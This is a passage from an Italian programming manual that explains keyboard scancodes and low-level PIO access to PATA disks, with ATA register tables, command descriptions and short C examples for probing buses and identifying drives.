Il codice che si può leggere attraverso la porta 60_{16} è definito *scancode*, ma ne esistono normalmente tre versioni, di cui quella standard (predefinita) è la seconda. Per conoscere i codici generati dalla tastiera si può utilizzare il programma '**`showkey`**', con l'opzione '**`-s`**', da un sistema GNU/Linux. Con l'aiuto di questo programma si può anche comprendere bene come vengano generati i codici e l'effetto della ripetizione automatica.

Come regola generale va osservato che i tasti premuti producono un codice inferiore o uguale a 127_{10} (ovvero $7F_{16}$, oppure 1111111_2), mentre i tasti rilasciati producono il valore corrispondente alla somma del codice di pressione più 128_{10} (ovvero 80_{16}, oppure 1000000_2). In pratica, si riconosce il rilascio di un tasto per il fatto che il bit più significativo è impostato a uno.

Le sequenze multiple di alcuni tasti servono normalmente a distinguerli rispetto ad altri equivalenti, inserendo normalmente il codice $E0_{16}$. Per esempio, il tasto [*Ctrl*] sinistro produce il codice $1D_{16}$ alla pressione e $9D_{16}$ al rilascio, mentre il tasto [*Ctrl*] destro produce $E0_{16}$ $1D_{16}$ alla pressione e $E0_{16}$ $9D_{16}$ al rilascio. Pertanto se si vuole semplificare l'interpretazione dei tasti premuti dalla tastiera, si potrebbero ignorare i codici speciali che servono per le sequenze multiple.

Figura 108.67. Mappa dei codici della tastiera. Sulla parte superiore sinistra appare la sequenza generata dalla pressione del tasto, mentre sulla parte inferiore destra appare quella associata al rilascio del tasto. Le sequenze sono espresse in esadecimale.

108.9 Gestione di dischi PATA

Qui si descrive come accedere a unità a disco ATA (*AT attachment*) con cavo parallelo (PATA), da un elaboratore con architettura conforme al IBM PC, secondo la modalità PIO (*Programmed input-output*), con la quale si impegna direttamente la CPU per il trasferimento dei dati. La modalità di trasferimento PIO è logicamente quella più costosa per il sistema, ma è anche la più semplice da ottenere in termini di programmazione. Non si considerano unità ATAPI (*AT attachment packet interface*) e comunque ci si sofferma prevalentemente sulla modalità di accesso LBA28. (si veda eventualmente anche la sezione 9.3 sulle unità PATA.)

Le unità a disco PATA, si connettono attraverso un cavo piatto (piattina) a un bus; su tale cavo si possono collegare due dischi: uno dei due viene chiamato *master* e l'altro *slave*. In pratica, la distinzione delle unità ATA attraverso queste denominazioni non è appropriata, perché non esistono ruoli sostanzialmente differenti; piuttosto si tratta solo di distinguere le due unità. È il caso di ricordare che la selezione tra prima e seconda unità può avvenire attraverso una configurazione precisa, di solito con l'ausilio di ponticelli, oppure automatica (*cable select*), in cui la posizione del connettore nel cavo decide il numero dell'unità.

Di norma, le schede madri degli elaboratori conformi all'architettura IBM PC dispongono di due bus ATA, con cui si possono connettere complessivamente un massimo di quattro unità.

I comandi che si danno alle unità ATA comportano la scrittura e la lettura di «registri» interni alla gestione dei bus. Per accedere a tali registri, nell'architettura conforme al IBM PC, si usano delle porte di comunicazione: leggendo o scrivendo una certa porta, si ottiene la lettura o la scrittura di un certo registro del sistema ATA.

I registri sono sempre associati a un certo bus, sul quale però possono essere connessi due dispositivi. A seconda del contesto, i comandi che si impartiscono possono riguardare il bus in generale, o un dispositivo preciso, individuato dai parametri del comando.

Dal momento che le unità di memorizzazione di massa non possono essere sufficientemente veloci nelle loro reazioni, rispetto alle possibilità della CPU, ci sono alcune operazioni che richiedono un tempo di attesa prima di poter leggere un esito corretto o prima di poter proseguire con altri comandi. Nel documento *ATA PIO mode*, ⟨*http://wiki.osdev.org/ATA_PIO_Mode* ⟩, citato anche in fondo al capitolo, si menziona in certi casi un ritardo di sicurezza di 400 ns, necessario soprattutto per le unità più vecchie. In quel documento si fa riferimento alla possibilità di eseguire per cinque volte lo stesso comando, prima di poter ottenere un esito valido, ma questa procedura riguarda la programmazione in linguaggio assemblatore, perché se si utilizza il C, o altro linguaggio più evoluto, può darsi che non ci sia la stessa efficienza e bastino meno tentativi.

Quando si eseguono operazioni di scrittura, occorre chiedere espressamente lo scarico della memoria trattenuta (*cache*), per ottenere la memorizzazione effettiva nel disco. Se non si ha l'accortezza di procedere in tal modo, si rischia di fare fallire l'operazione di scrittura successiva.

Anche le unità ATA, come tutti i sistemi di memorizzazione di massa a disco, possono trovarsi ad avere dei settori danneggiati e inutilizzabili. Nel caso delle unità ATA di distingue però tra settori che non possono essere letti o scritti in modo permanente e settori che invece non possono essere letti, ma solo temporaneamente. Questa impossibilità temporanea di lettura può derivare da una fase di scrittura incompleta: tali settori tornano a essere leggibili correttamente quando si esegue su di loro una nuova operazione di scrittura che giunge a termine correttamente.

108.9.1 Modalità di accesso

L'accesso ai settori delle unità ATA può avvenire secondo tre modalità: CHS, LBA28 e LBA48. La modalità CHS rappresenta il metodo più vecchio per individuare un settore in un disco, in quanto occorre specificare le coordinate composte da cilindro, testina e settore di questa combinazione. L'accesso in modalità CHS (*Cylinder Head Sector*) riguarda concretamente solo le unità a disco degli anni 1980, perché successivamente le unità ATA hanno introdotto la possibilità di raggiungere i settori attraverso un numero sequenziale, senza dover conoscere la geometria effettiva del disco.

Per problemi di compatibilità, è rimasta la facoltà di individuare i settori attraverso coordinate CHS, le quali di norma si riferiscono a una geometria astratta e non reale. Infatti, in condizioni normali, ci possono essere unità a disco composte da una quantità limitatissima di testine (due, quattro, sei), mentre programmi come '**`fdisk`**' riportano spesso una quantità fantastica di 255 testine. Tutto ciò deriva dai limiti del BIOS (*firmware*) degli elaboratori conformi all'architettura IBM PC.

Ammesso di avere determinato o definito una certa geometria, si convertono le coordinate CHS in numero assoluto del settore con delle formule. Si considerano le variabili seguenti:

Variabile	Descrizione
C	Quantità totale dei cilindri.
H	Quantità totale delle testine.
S	Quantità totale di settori per traccia (ogni cilindro ha ***H*** tracce).
c	Cilindro di una coordinata, dove il primo è zero e l'ultimo è ***C***−1.
h	Testina di una coordinata, dove la prima è zero e l'ultima è ***H***−1.
s	Settore di una traccia, dove il primo è 1 e l'ultimo è ***S***. Che i settori di una traccia inizino da uno è un fatto importante, a cui è necessario prestare attenzione.
z	Numero assoluto del settore, dove il primo è pari a zero.

Il numero assoluto di un settore, conoscendo la sua coordinata CHS, si ottiene come:

$$z = c \cdot H \cdot S + h \cdot S + s - 1$$

Partendo invece dal numero assoluto del settore, per determinare le sue coordinate virtuali, valgono le formule seguenti. Si osservi che dalle divisioni si prendono solo i risultati interi.

$$c = \frac{z}{H \cdot S}$$

$$h = \frac{z + 1 - c \cdot H \cdot S}{S}$$

$$s = z + 1 - c \cdot H \cdot S - h \cdot S$$

Quando si accede alle unità ATA specificando il numero assoluto del settore, si può usare la modalità LBA28, che permette di raggiungere al massimo il settore $FFFFFFF_{16}$, oppure, ammesso che il dispositivo lo consenta, la modalità LBA48, che permette di raggiungere al massimo il settore $FFFFFFFFFFFF_{16}$. In pratica, con la modalità LBA28, sapendo che i settori sono da 512 byte, si possono gestire dispositivi con una capacità massima di 128 Gibyte, mentre con la modalità LBA48 si può arrivare fino a 128 Pibyte ($128 \cdot 2^{50}$).

La modalità di accesso CHS è superata da molto tempo. Tuttavia, se la si deve usare, va ricordato che, in tal caso, non può esistere il settore zero.

108.9.2 Registri per la gestione delle unità ATA

Nella tabella successiva, si riepilogano i registri utili per la gestione delle unità ATA, secondo la modalità PIO. Nella tabella si omette ***data port***, in quanto si riferisce soltanto alla modalità DMA per il trasferimento dei dati. Il registro che nella tabella è chiamato ***data*** è diverso dal ***data port*** e riguarda il trasferimento in modalità PIO. I registri della tabella sono generalmente da un solo byte (8 bit), a eccezione di ***data*** il quale normalmente va letto e scritto a coppie di byte (16 bit).

I registri possono consentire la lettura (r), la scrittura (w) o entrambe le cose. Quando un registro è a senso unico (sola lettura o sola scrittura), vuol dire che l'accesso in senso opposto è relativo a informazioni differenti, a cui si associa un altro nome. Per esempio, quello che viene chiamato ***regular status*** è un registro in sola lettura, ma se vi si accede ugualmente in scrittura, si interviene in pratica nel registro ***device control***, il quale è invece in sola scrittura (naturalmente lo stesso vale in senso inverso). Evidentemente l'attribuzione di nomi differenti ai registri, a seconda della direzione di accesso, consente di evitare facili confusioni.

Lo stato di funzionamento del dispositivo corrente di un certo bus è riportato in modo uguale da due registri: ***regular status*** e ***alternate status***. La distinzione tra questi sta nel fatto che la lettura del primo comporta la «acquisizione» dell'informazione, mentre la lettura del secondo non altera in alcun modo la situazione del dispositivo. Lo stato del dispositivo è costituito da indicatori, ovvero bit che se sono a uno rappresentano l'avverarsi di una certa condizione. A questi indicatori si fa riferimento con un nome. I più importanti sono BSY (*busy*), DF (*drive fault*), DRQ (*data request*) e ERR (*error*).

Tabella 108.73. Registri ATA utili per la modalità PIO.

Definizione	Dir (r/w)	Bus_0	Bus_1	Bus_2	Bus_3	Descrizione
data	r/w	$1F0_{16}$	170_{16}	$1E8_{16}$	168_{16}	Consente di leggere o scrivere il dispositivo selezionato precedentemente con il registro ***device***, a coppie di byte, ma prima di poterlo fare è necessario che l'indicatore DRQ sia attivo. La lettura o la scrittura è progressiva, ma riguarda sempre uno o più settori interi, pertanto va ripetuta a multipli di 256 volte. Non è possibile mescolare letture e scritture.
error	**r**/-	$1F1_{16}$	171_{16}	$1E9_{16}$	169_{16}	Questo registro, in sola lettura, descrive il tipo di errore manifestato dall'indicatore ERR. In pratica, il contenuto di questo registro è privo di significato se l'indicatore ERR non fosse attivo. Inoltre, per poter prendere in considerazione l'indicatore ERR, è opportuno che l'indicatore BSY sia a zero. L'interpretazione del registro cambia a seconda del tipo di comando che lo ha causato. L'accesso in scrittura a questo registro porta a intervenire invece nel registro ***feature***.
feature	-/**w**	$1F1_{16}$	171_{16}	$1E9_{16}$	169_{16}	Registro in sola scrittura, per l'indicazione di un parametro, il cui significato cambia a seconda del comando che si impartisce successivamente. La scrittura in questo registro deve essere subordinata al fatto che gli indicatori BSY e DRQ siano a zero. L'accesso in lettura a questo registro porta a intervenire invece nel registro ***error***.
count (*sector count*)	r/w	$1F2_{16}$	172_{16}	$1EA_{16}$	$16A_{16}$	Si usa come parametro di un comando successivo, per indicare una quantità di settori da prendere in considerazione, tenendo conto che il valore zero ha un significato particolare. Si può modificare il registro solo se gli indicatori BSY e DRQ sono a zero; allo stesso modo la lettura del registro è valida solo se questi indicatori sono a zero.

Definizione	Dir (r/w)	Bus_0	Bus_1	Bus_2	Bus_3	Descrizione
low (*lba low*)	r/w	$1F3_{16}$	173_{16}	$1EB_{16}$	$16B_{16}$	Si usa come parametro di un comando successivo, per indicare l'intervallo $bit_0..bit_7$ dell'indirizzo del settore da raggiungere. Si può modificare il registro solo se gli indicatori BSY e DRQ sono a zero; allo stesso modo la lettura del registro è valida solo se questi indicatori sono a zero.
mid (*lba mid*)	r/w	$1F4_{16}$	174_{16}	$1EC_{16}$	$16C_{16}$	Si usa come parametro di un comando successivo, per indicare l'intervallo $bit_8..bit_{15}$ dell'indirizzo del settore da raggiungere. Si può modificare il registro solo se gli indicatori BSY e DRQ sono a zero; allo stesso modo la lettura del registro è valida solo se questi indicatori sono a zero.
high (*lba high*)	r/w	$1F5_{16}$	175_{16}	$1ED_{16}$	$16D_{16}$	Si usa come parametro di un comando successivo, per indicare l'intervallo $bit_{16}..bit_{23}$ dell'indirizzo del settore da raggiungere. Si può modificare il registro solo se gli indicatori BSY e DRQ sono a zero; allo stesso modo la lettura del registro è valida solo se questi indicatori sono a zero.
device	r/w	$1F6_{16}$	176_{16}	$1EE_{16}$	$16E_{16}$	È un registro al cui interno si inseriscono diverse informazioni, il cui significato può cambiare a seconda del comando che si impartisce successivamente. Tuttavia, il bit_4 (il quinto), rappresenta il dispositivo nel bus a cui si fa riferimento (zero è il primo, uno è il secondo). Non va confuso questo registro con il ***device control***.
regular status	**r/-**	$1F7_{16}$	177_{16}	$1EF_{16}$	$16F_{16}$	Dà lo stato del bus, con una lettura che comporta l'acquisizione di tale informazione. Quando è attivo l'indicatore BSY, tutti gli altri indicatori sono privi di significato. L'interpretazione del dato è equivalente a quella che si deve fare per il registro ***alternate status***. Questo registro è in sola lettura, in quanto, se vi si accede in scrittura, si interviene invece nel registro ***command***.
command	**-/w**	$1F7_{16}$	177_{16}	$1EF_{16}$	$16F_{16}$	Consente di impartire un comando, sulla base di parametri già forniti attraverso altri registri. A eccezione del comando DEVICE RESET, in tutti gli altri casi si può scrivere in questo registro soltanto se gli indicatori BSY e DRQ sono entrambi a zero. Questo registro è in sola scrittura, in quanto, se vi si accede in lettura, si ottiene il contenuto del registro ***regular status***.
alternate status	**r/-**	$3F6_{16}$	376_{16}	$3E6_{16}$	366_{16}	Dà lo stato del bus, attraverso una lettura «neutra», ovvero inerte. Quando è attivo l'indicatore BSY, tutti gli altri indicatori sono privi di significato. L'interpretazione del dato è equivalente a quella che si deve fare per il registro ***regular status***. Questo registro è in sola lettura, in quanto, se vi si accede in scrittura, si interviene invece nel registro ***device control***.
control (*device control*)	**-/w**	$3F6_{16}$	376_{16}	$3E6_{16}$	366_{16}	Consente di impostare alcuni indicatori che controllano la gestione dei dispositivi. Questo registro è in sola scrittura, in quanto, se vi si accede in lettura, si ottiene il contenuto del registro ***alternate status***.

Nella tabella appena apparsa, sono indicati gli indirizzi di I/O per accedere a quattro diversi bus ATA, negli elaboratori che si rifanno all'architettura IBM PC. Va osservato che di norma sono disponibili solo due di tali bus (per un massimo di quattro dispositivi connessi complessivamente), pertanto, in tal caso vanno considerati solo i primi due di questi indirizzi.

Tabella 108.74. Indicatori dei registri di stato: ***regular status*** e ***alternate status***.

bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
BSY *busy*	DRDY *device ready*	DF *device fault*	--	DRQ *data request*	--	--	ERR *error*

Tabella 108.75. Descrizione degli indicatori dei registri di stato: ***regular status*** e ***alternate status***.

Indicatore	Descrizione
BSY *busy*	Indica che il dispositivo corrente del bus selezionato è impegnato e non si possono impartire dei comandi. Quando questo indicatore è attivo, gli altri, a parte ERR, sono privi di significato.
DRDY *device ready*	Questo indicatore **non** è l'opposto di BSY. Semplificando le cose, è a zero se il dispositivo è in pausa (motore fermo), mentre dovrebbe essere a uno in quasi tutte le altre situazioni.
DF *device fault*	Indica il verificarsi di un errore del dispositivo, diverso da quelli considerati dall'indicatore ERR.
DRQ *data request*	Indica che il dispositivo corrente è pronto per un trasferimento di dati. Al termine di un trasferimento, l'indicatore si azzera.
ERR *error*	Indica un errore, interpretabile leggendo il registro ***error***.

Tabella 108.76. Bit del registro ***device control***.

bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
HOB *high order byte*	--	--	--	--	SRST *software reset*	nIEN *not interrupt enabled*	0

Tabella 108.77. Descrizione dei bit del registro ***device control***.

Bit	Descrizione
HOB *high order byte*	Riguarda una situazione specifica dell'accesso LBA 48; in tutti gli altri casi va lasciato a zero.
SRST *software reset*	Richiede l'inizializzazione software dei dispositivi connessi al bus.
nIEN *not interrupt enabled*	Richiede la **disabilitazione** dell'emissione di segnali di interruzioni da parte del dispositivo corrente.
bit_0	Il bit meno significativo deve sempre essere lasciato a zero.

108.9.3 Alcuni comandi

L'invio di un comando al dispositivo corrente comporta l'indicazione di alcuni parametri utilizzando i registri, tra cui, soprattutto, il codice del comando stesso. Il comando viene eseguito nel momento in cui si scrive nel registro ***command*** il codice che lo identifica, pertanto questa scrittura va fatta per ultima.

Se prima di dare un comando si intende agire anche sul registro ***device control***, per esempio per inibire l'emissione di interruzioni per il dispositivo coinvolto, la scrittura in tale registro deve avvenire prima della scrittura nel registro ***command*** (per ovvi motivi), ma successivamente alla selezione del dispositivo con la scrittura nel registro ***device***.

108.9.3.1 Comando READ SECTORS

Il comando READ SECTORS, corrispondente al codice 20_{16}, consente di leggere uno o più settori, in modalità PIO, dal dispositivo specificato nel registro ***device***, con indirizzamento LBA28.

Tabella 108.78. Parametri del comando «READ SECTORS».

Registro	bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
device	--	LBA	--	DEV	Bit $bit_{24}..bit_{28}$ dell'indirizzo del primo settore da leggere.			
feature	--							
sector count	Quantità di settori da leggere.							
LBA low	Bit $bit_0..bit_7$ dell'indirizzo del primo settore da leggere.							
LBA mid	Bit $bit_8..bit_{15}$ dell'indirizzo del primo settore da leggere.							
LBA high	Bit $bit_{16}..bit_{23}$ dell'indirizzo del primo settore da leggere.							
command	20_{16}							

Tabella 108.79. Descrizione dei registri coinvolti.

Registro	Utilizzo
feature	Non viene considerato dal comando.
device	Il bit_5 e il bit_7 possono essere impostati a uno per mantenere la compatibilità con vecchi dispositivi, ma in generale sono semplicemente ignorati. Il bit_6, se attivo, indica che il primo settore da leggere viene individuato come numero assoluto (LBA), mentre se viene lasciato a zero, significa che tale settore viene raggiunto con coordinate CHS (cilindro, testina, settore). Il bit_4 individua il dispositivo, distinguendo tra primo (0) e secondo (1) del bus a cui si fa riferimento. L'intervallo di $bit_0..bit_3$ si utilizza per annotare la parte più significativa di un indirizzo LBA28, per raggiungere il primo settore da leggere.
lba low ***lba mid*** ***lba high***	Questi tre registri rappresentano complessivamente i primi 24 bit dell'indirizzo del primo settore da raggiungere.

Dopo l'invio del comando si deve attendere che l'indicatore BSY torni a zero e che l'indicatore DRQ si attivi, per poi procedere alla lettura di ***data***, generalmente a coppie di byte, fino al

completamento della dimensione dei settori richiesti, quando l'indicatore DRQ torna a zero.

Tabella 108.80. Esito normale, atteso dopo l'esecuzione completa del comando, nel registro di stato.

bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
BSY	DRDY	DF	--	DRQ	--	--	ERR
0	1	0	--	0	--	--	0

108.9.3.2 Comando WRITE SECTORS

Il comando WRITE SECTORS, corrispondente al codice 30_{16}, consente di scrivere uno o più settori, in modalità PIO, nel dispositivo specificato nel registro ***device***, con un indirizzamento LBA28.

Tabella 108.81. Parametri del comando WRITE SECTORS.

Registro	bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
device	--	LBA	--	DEV	Bit bit_{24}..bit_{28} dell'indirizzo del primo settore da scrivere.			
feature	--							
sector count	Quantità di settori da scrivere.							
LBA low	Bit bit_0..bit_7 dell'indirizzo del primo settore da scrivere.							
LBA mid	Bit bit_8..bit_{15} dell'indirizzo del primo settore da scrivere.							
LBA high	Bit bit_{16}..bit_{23} dell'indirizzo del primo settore da scrivere.							
command	30_{16}							

Tabella 108.82. Descrizione dei registri coinvolti.

Registro	Utilizzo
feature	Non viene considerato dal comando.
device	Il bit_5 e il bit_7 possono essere impostati a uno per mantenere la compatibilità con vecchi dispositivi, ma in generale sono semplicemente ignorati. Il bit_6, se attivo, indica che il primo settore da leggere viene individuato come numero assoluto (LBA), mentre se viene lasciato a zero, significa che tale settore viene raggiunto con coordinate CHS (cilindro, testina, settore). Il bit_4 individua il dispositivo, distinguendo tra primo (0) e secondo (1) del bus a cui si fa riferimento. L'intervallo di bit_0..bit_3 si utilizza per annotare la parte più significativa di un indirizzo LBA, per raggiungere il primo settore da scrivere.
lba low ***lba mid*** ***lba high***	Questi tre registri rappresentano complessivamente i primi 24 bit dell'indirizzo del primo settore da raggiungere.

Dopo l'invio del comando si deve attendere che l'indicatore BSY torni a zero e che l'indicatore DRQ si attivi, per poi procedere alla scrittura di ***data***, generalmente a coppie di byte, fino al completamento della dimensione dei settori richiesti, quando l'indicatore DRQ torna a zero.

Tabella 108.83. Esito normale, atteso dopo l'esecuzione completa del comando, nel registro di stato.

bit$_7$	bit$_6$	bit$_5$	bit$_4$	bit$_3$	bit$_2$	bit$_1$	bit$_0$
BSY	DRDY	DF	--	DRQ	--	--	ERR
0	1	0	--	0	--	--	0

108.9.3.3 Comando FLUSH CACHE

Il comando CACHE FLUSH, corrispondente al codice E7$_{16}$, assicura la memorizzazione dei settori modificati ed è necessario inviarlo prima di procedere con ulteriori comandi di scrittura. L'operazione riguarda il dispositivo specificato nel registro ***device***.

Tabella 108.84. Parametri del comando FLUSH CACHE.

Registro	bit$_7$	bit$_6$	bit$_5$	bit$_4$	bit$_3$	bit$_2$	bit$_1$	bit$_0$
device	--	--	--	DEV	--			
feature	--							
sector count	--							
LBA low	--							
LBA mid	--							
LBA high	--							
command	E7$_{16}$							

Tabella 108.85. Esito normale, atteso dopo l'esecuzione completa del comando, nel registro di stato.

bit$_7$	bit$_6$	bit$_5$	bit$_4$	bit$_3$	bit$_2$	bit$_1$	bit$_0$
BSY	DRDY	DF	--	DRQ	--	--	ERR
0	1	0	--	0	--	--	0

108.9.3.4 Comando IDENTIFY DEVICE

Il comando IDENTIFY DEVICE, corrispondente al codice EC$_{16}$, consente di interrogare le caratteristiche di un dispositivo ATA, esclusi i dispositivi ATAPI.

Tabella 108.86. Parametri del comando IDENTIFY DEVICE.

Registro	bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
device	--	--	--	DEV	--			
feature	--							
sector count	--							
LBA low	--							
LBA mid	--							
LBA high	--							
command	EC_{16}							

Dopo l'invio del comando, si deve verificare il contenuto di uno dei due registri di stato: se questo fosse a zero, significa che il dispositivo richiesto non esiste. Se invece il registro contiene qualcosa, si deve attendere che l'indicatore BSY torni a zero e che l'indicatore DRQ si attivi, per poi procedere alla lettura di ***data***, a blocchi da 16 bit, per 256 volte (in totale si hanno 512 byte, come un settore comune), quando l'indicatore DRQ torna a zero. All'interno di questi blocchi da 16 bit ci sono informazioni che consentono di conoscere nel dettaglio le caratteristiche del dispositivo.

Se invece di un indicatore DRQ attivo si ottiene un errore, rappresentato quindi dall'indicatore ERR attivo, vanno letti i registri ***lba mid*** e ***lba high***:

Tabella 108.87. Contenuto dei registri ***lba mid*** e ***lba high*** in caso di errore ottenuto a seguito del comando IDENTIFY DEVICE.

Tipo di errore	Registro ***lba mid***	Registro ***lba high***
Si tratta di unità ATA, ma si è verificato ugualmente un errore.	00_{16}	00_{16}
Si tratta di un'unità ATAPI parallela.	14_{16}	EB_{16}
Si tratta di un'unità SATA.	$3C_{16}$	$C3_{16}$
Si tratta di un'unità ATAPI seriale.	69_{16}	96_{16}

Tabella 108.88. Esito normale, atteso dopo l'esecuzione completa del comando, inclusa la lettura del registro ***data***, nel registro di stato.

bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
BSY	DRDY	DF	--	DRQ	--	--	ERR
0	1	0	--	0	--	--	0

Tabella 108.89. Alcuni dati significativi ottenuti dalla lettura del registro ***data***, dopo il comando IDENTIFY DEVICE. I blocchi da 16 bit letti sono numerati da 0 (il primo), fino a 255 (l'ultimo).

Blocco	Contenuto
60, 61	Complessivamente formano un numero a 32 bit che rappresenta la quantità totale di settori che si possono indirizzare in modalità LBA28. Se questo valore fosse a zero, indicherebbe che il dispositivo non è in grado di utilizzare un indirizzamento LBA28.
100, 101, 102, 103	Complessivamente formano un numero a 64 bit che rappresenta la quantità totale di settori che si possono indirizzare in modalità LBA48. Se questo valore fosse a zero, indicherebbe che il dispositivo non è in grado di utilizzare un indirizzamento LBA48, ma non è detto il contrario.

108.9.4 Individuazione dei bus utilizzati

Il tentativo di comunicare con un bus privo di unità collegate, comporta delle risposte errate, pertanto è necessario, prima di ogni altra cosa, scandire i bus presenti per verificare quali di questi sono effettivamente utilizzabili. Si tratta di leggere il contenuto del registro di stato (il ***regular status*** per la precisione): se questo ha tutti i bit a uno, si tratta di un bus a cui non è collegato alcunché.

Il pezzetto di codice seguente, attraverso la funzione ***inb()***, che si intuisce serva a leggere un byte da una porta di I/O, si ottiene lo stato del primo bus, corrispondente all'indirizzo $1F7_{16}$.

```
…
status = inb (0x1F7);
if (status == 0xFF)
  {
    // Non ci sono dispositivi nel primo bus.
    …
  }
else
  {
    // Ci potrebbe essere almeno un dispositivo nel primo bus.
    …
  }
…
```

108.9.5 Azzeramento dello stato dei dispositivi

Quando si verifica un errore, le unità ATA normali (non ATAPI) richiedono un azzeramento software, provocato attraverso il bit SRST attivo nel registro ***device control***. L'azzeramento riguarda però tutti i dispositivi connessi al bus, e, d'altro canto, non essendo coinvolto in questo un comando, non ci sarebbe il modo di precisare un dispositivo particolare. Va osservato che una volta scritto nel registro ***device control*** il valore corrispondente all'attivazione del bit SRST, occorre riscrivere un valore pari a zero per questo bit, altrimenti il bus rimarrebbe in uno stato di inizializzazione.

```
…
outb (0x3F6, 0x02);     // Azzera.
outb (0x3F6, 0x00);     // Ripristina la condizione normale.
…
```

108.9.6 Controllo delle interruzioni

In varie occasioni, i dispositivi possono mettersi in uno «stato di interruzione», a cui corrisponde effettivamente un interruzione hardware nell'architettura IBM PC. Dal momento che le situazioni in cui tali interruzioni si verificano sono varie e complesse, la loro gestione potrebbe essere troppo impegnativa. D'altro canto è possibile gestire i dispositivi ATA anche senza considerare le interruzioni.

A questo proposito è possibile scrivere nel registro ***device control*** il valore 01_{16}, corrispondente al bit nIEN attivo, ogni volta che è appena stato selezionato un dispositivo nel registro ***device***, per evitare che il comando che si va a impartire produca poi un'interruzione.

108.9.7 Verifica dell'esito di un comando

Ogni volta che si dà un comando a un dispositivo ATA, se non si vogliono considerare le interruzioni, occorre controllare ripetutamente il registro di stato, precisamente il ***regular status***, per sapere quando è possibile procedere ulteriormente.

Si deve attendere che l'indicatore BSY si azzeri, quindi si deve verificare che gli indicatori ERR e DF siano a zero: se uno dei due ha un valore diverso, significa che si è verificato un errore. Se gli indicatori di errore sono a zero, se dopo il comando ci si attende di leggere o scrivere dati attraverso il registro ***data***, prima di poterlo fare, è necessario che l'indicatore DRQ sia attivo. Nell'esempio successivo si interroga l'esito di un comando appena impartito a un dispositivo del primo bus:

```
…
    // Legge 8 bit dal registro «regular status».
    status = inb (0x1F7);
    while (status & 0x80)
      {
        // BSY: continua a interrogare fino a che
        //      l'indicatore si azzera.
        status = inb (0x1F7);
      }
    if (status & 0x21)
      {
        // DF o ERR.
        return …;
      }
    if (status & 0x08)
      {
        // DRQ
        for (i = 0; i < 256; i++)
```

```
          {
            // Trasferisce dati attraverso il registro «data».
            …
          }
      }
    …
```

108.9.8 Identificazione delle unità

Una volta chiarito quali sono i bus che potrebbero contenere almeno un dispositivo, per sapere quali dispositivi sono presenti effettivamente e per conoscere le caratteristiche delle unità ATA presenti, si deve utilizzare il comando IDENTIFY DEVICE. A titolo di esempio si propone una funzione semplificata che riceve l'indicazione del numero del bus e del dispositivo di cui si vuole conoscere la dimensione massima in settori (da 512 byte), per un accesso in modalità LBA28: se la funzione restituisce zero, significa che il dispositivo non è disponibile o non può operare in modalità LBA28 oppure si è verificato un errore che ne impedisce l'identificazione. Nell'esempio, la funzione ***outb()*** serve a scrivere un byte in una certa porta di I/O, mentre la funzione ***inw()*** serve a leggere un intero a 16 bit da una certa porta.

```
unsigned int
identify_device (int bus, int drive)
{
    int           reg_device;
    int           reg_command;
    int           reg_status;
    int           reg_data;
    int           reg_control;
    unsigned char device;
    unsigned char status;
    int           i;
    uint16_t      id[256];
    unsigned int  size;
    //
    switch (bus)
      {
        case 0:
            reg_device  = 0x1F6;
            reg_command = 0x1F7;
            reg_status  = 0x1F7;
            reg_data    = 0x1F0;
            reg_control = 0x3F6;
            break;
        case 1:
            …
            break;
        …
      }
```

```
    device = 0x00;
    if (drive)
      {
        device = 0x10;
      }
    // Scrive 8 bit nel registro «device».
    outb (reg_device, device);
    // Scrive 8 bit nel registro «control».
    outb (reg_control, 0x01);
    // Scrive 8 bit nel registro «command».
    outb (reg_command, 0xEC);
    // Legge 8 bit dal registro «regular status».
    status = inb (reg_status);
    if (status == 0)
      {
        // L'unità non c'è.
        return 0;
      }
    while (status & 0x80)
      {
        // BSY
        status = inb (reg_status);
      }
    if (status & 0x21)
      {
        // DF o ERR: potrebbe trattarsi di unità ATAPI o SATA.
        return 0;
      }
    //
    if (status & 0x08)
      {
        // DRQ
        for (i = 0; i < 256; i++)
          {
            // Legge 16 bit dal registro «data».
            id[i] = inw (reg_data);
          }
      }
    else
      {
        // Per un motivo inspiegabile, non si ottiene
        // il permesso di leggere i dati.
        return 0;
      }
    // Si estrapola la quantità di settori disponibili in modalità
    // LBA28: si prende il contenuto della memoria, partendo da
    // 'id[60]', per un'estensione di 32 bit (4 byte), che così
```

```
    // include anche 'id[61]', trasformando la cosa attraverso
    // dei puntatori. Il meccanismo funziona perché i valori si
    // intendono rappresentati in modalità «little endian», per
    // cui i byte meno significativi del valore appaiono per primi.
    size = *((uint32_t *) &(id[60]));
    //
    return size;
}
```

108.9.9 Scomposizione dell'indirizzo

Quando si utilizzano comandi di lettura e scrittura di uno o più settori, si deve specificare l'indirizzo di questo, suddiviso in qualche modo nei registri che rappresentano i parametri del comando. Si distinguono tre casi, in base alle tre modalità di accesso: CHS, LBA28 e LBA48.

Tabella 108.94. Collocazione delle coordinate CHS.

Registro	bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
device	--	0	--	DEV	h (testina)			
sector count	quantità di settori da trattare							
LBA low	s (numero del settore della traccia, a partire da uno)							
LBA mid	c (cilindro) $bit_0..bit_7$							
LBA high	c (cilindro) $bit_8..bit_{15}$							

Tabella 108.95. Collocazione dell'indirizzo LBA28.

Registro	bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
device	--	1	--	DEV	Bit $bit_{24}..bit_{28}$			
sector count	quantità di settori da trattare							
LBA low	Bit $bit_0..bit_7$							
LBA mid	Bit $bit_8..bit_{15}$							
LBA high	Bit $bit_{16}..bit_{23}$							

Le due tabelle già apparse mostrano come articolare l'informazione CHS o l'indirizzo LBA28, assieme alla quantità di settori da prendere in considerazione. Nel caso in cui fosse specificata una quantità di settori pari a zero, si intenderebbero invece 256. Per la modalità LBA48, si procede in modo simile alla LBA28, con la differenza che i registri vanno scritti in due tornate e che il registro ***device*** non contiene alcuna porzione di questo.

Tabella 108.96. Utilizzo dei registri per collocare un indirizzo LBA48 in due fasi.

Registro	bit_7	bit_6	bit_5	bit_4	bit_3	bit_2	bit_1	bit_0
device	--	1	--	DEV	--			
sector count	quantità di settori $bit_8..bit_{15}$							
